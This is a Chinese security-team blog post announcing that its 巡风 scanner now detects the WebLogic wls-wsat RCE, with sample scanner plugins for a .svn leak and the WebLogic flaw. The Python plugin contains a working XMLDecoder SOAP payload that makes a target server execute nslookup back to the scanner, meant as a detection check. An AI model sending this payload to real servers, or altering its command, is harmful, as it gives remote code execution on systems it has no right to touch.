查看原文
其他

巡风已支持检测 CVE-2017-3506 weblogic漏洞

2017-12-26 同程安全应急响应中心

CVE-2017-3506 其实并不是一个新漏洞,只是之前的补丁存在绕过,近期被黑产利用来批量挖矿,这才重新受到了关注。


之所以巡风没有第一时间支持检测,原因也很简单,我们没有用到weblogic...社区没有人提交,我们也没有太大动力去添加啦~


具体的漏洞分析可以参见安全客的文章 ,来自阳光保险的 dos_man 同学提交了相关的检测插件


不妨借机简单讲下巡风插件的开发。巡风的插件分两种,一种json的,一种python脚本。

json的很简单,可以在巡风界面生成,做一些简单的探测。如社区成员 0xbug 贡献的svn泄漏检测插件。(0xbug 还开源了GitHub 泄露监控系统,有需要的可以看下)


{
"name": ".svn代码泄露",
 "info": "未删除.svn目录导致源代码信息泄露",
 "level": "中危",
 "type": "信息泄露",
 "author": "0xbug",
 "url": "https://www.rapid7.com/db/vulnerabilities/spider-svn-entries-disclosure",
 "keyword": "server:web",
 "source": 1,
 "plugin": {
"url": "/.svn/all-wcprops",
   "tag": "存在/.svn/目录",
   "analyzing": "keyword",
   "analyzingdata": "svn:wc:ra_dav:version-url",
   "data": "",
   "method": "GET"
 }
}


字段意思一目了然,没什么好说的,json插件适合做一些简单探测动作。


python的拿这次weblogic这个插件说,正巧用到了巡风的辅助验证功能。

#!/usr/bin/python
# coding:utf-8
'''
巡风及巡风的插件基于python2
主要有两个函数:
get_plugin_info() 返回插件信息
check(ip, port, timeout) 接收IP,端口号及超时参数供巡风主程序调用,有返回值且返回值在判断里为True,即为漏洞存在,返回值即为本次的扫描结果,详情请看接下来的函数实现
'''

import random
import urllib2
import socket
from time import sleep


def get_plugin_info():
'''get_plugin_info 函数用于返回该插件和插件所检测漏洞的信息'''
   plugin_info = {
"name": "WebLogic WLS RCE CVE-2017-10271",
       "info": "Oracle WebLogic Server WLS安全组件中的缺陷导致远程命令执行",
       "level": "高危",
       "type": "命令执行",
       "author": ".@sinosig",
       "url": "https://www.oracle.com/technetwork/topics/security/cpuoct2017-3236626.html",
       "keyword": "tag:weblogic",
   }
return plugin_info


def random_str(len):
'''返回随机字符串'''
   str1 = ""
   for i in range(len):
str1 += (random.choice("ABCDEFGH1234567890"))
return str(str1)


def get_ver_ip(ip):
'''返回当前服务器ip,当poc所用payload无回显时,可以使用巡风辅助验证的http服务和dns服务'''
   csock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
csock.connect((ip, 80))
(addr, port) = csock.getsockname()
csock.close()
return addr


def check(ip, port, timeout):
'''本次poc的验证的主函数,巡风会调用该函数进行漏洞检测'''
   test_str = random_str(6)
server_ip = get_ver_ip(ip)
check_url = ['/wls-wsat/CoordinatorPortType', '/wls-wsat/CoordinatorPortType11']

heads = {
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko)',
       'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
       'Accept-Language': 'zh-CN,zh;q=0.8',
       'SOAPAction': "",
       'Content-Type': 'text/xml;charset=UTF-8',
   }

# 本次漏洞的payload
   # 本次命令执行漏洞的payload所触发的response没有明显回显和行为提供判断,所以作者使用nslookup发送dns请求到get_ver_ip函数中取到的服务器地址,如果巡风服务器收到带有random_str函数生成的随机字符串的dns请求即可判断为漏洞存在。
   post_str = '''
       <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">  
         <soapenv:Header>
           <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
             <java version="1.8" class="java.beans.XMLDecoder">
               <void class="java.lang.ProcessBuilder">
                 <array class="java.lang.String" length="3">
                   <void index="0">
                     <string>nslookup</string>
                   </void>  
                   <void index="1">
                     <string>%s</string>
                   </void>
                   <void index="2">
                     <string>%s</string>
                   </void>
                 </array>  
                 <void method="start"/>
               </void>
             </java>
           </work:WorkContext>
         </soapenv:Header>  
         <soapenv:Body/>
       </soapenv:Envelope>
               ''' % (test_str, server_ip)
for url in check_url:
target_url = 'http://' + ip + ':' + str(port) + url.strip()
req = urllib2.Request(url=target_url, headers=heads)
if 'Web Services' in urllib2.urlopen(req, timeout=timeout).read():
req = urllib2.Request(url=target_url, data=post_str, headers=heads)
try:
urllib2.urlopen(req, timeout=timeout).read()
except urllib2.URLError:
pass
           sleep(2)
# 这里请求 http://{巡风的地址}:8088/{本次生成随机字符串} 如果返回YES,则证明服务器收到该请求,漏洞存在
           check_result = urllib2.urlopen("http://%s:8088/%s" % (server_ip, test_str), timeout=timeout).read()
if "YES" in check_result:
return "Exist CVE-2017-10271"
       else:
pass


BTW,阳光保险在招人呀,社区成员帮完善开源项目,我们也没小礼物啥的,这边帮忙贴一下JD。

当然 YSRC 也在招人,不过我们一直习惯主动去找人,这边就不贴JD了。佛性招人,你能来说明我们即是有缘 sec@ly.com...


One more thing 最近 YSRC 在筹备开源自研的主机安全项目,目前面向公司开放二进制程序内测,有需要的同学关注公众号后发送 驭龙 加内测讨论群。


最后发一个迟到的圣诞小福利,转发本文到朋友圈,集满18个赞,截图发给公众号,YSRC 为你提前锁定春运火车票!名额有限,速度上车!(活动详情请发送 上车 关键字到公众号了解)


往期文章

moloch 网络流量回溯分析系统

Exploiting Python PIL Module Command Execution Vulnerability

同程旅游四层负载实战

基于ASM的java字符串混淆工具实现

为OLLVM添加字符串混淆功能

Jenkins 高危代码执行漏洞检测/开源漏洞靶场

Eat.Hack.Sleep.Repeat - YSRC 第二期夏日安全之旅

带你一程,守卫者们,集结了!

Django的两个url跳转漏洞分析:CVE-2017-7233&7234

应急不扎心 巡风现已支持检测S2-045漏洞

同程安全研究员获谷歌、腾讯安全致谢

Android 字符串及字典混淆开源实现

我可能是用了假的隐身模式

同程旅游 Hadoop 安全实践

点我的链接就能弹你一脸计算器

点我的链接我就能知道你用了哪些chrome插件

YSRC诚意之作,巡风-企业安全漏洞快速应急、巡航系统

基于文件特征的Android模拟器检测

Android逆向与病毒分析

F-Scrack 弱口令检测脚本

unsafe 模式下的 CSP Bypass

被动扫描器 GourdScan v2.0 发布!

Android App常见逆向工具和使用技巧

XSS Trap - XSS DNS防护的简单尝试

A BLACK PATH TOWARD THE SUN - HTTP Tunnel 工具简介

初探Windows Fuzzing神器----Winafl


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存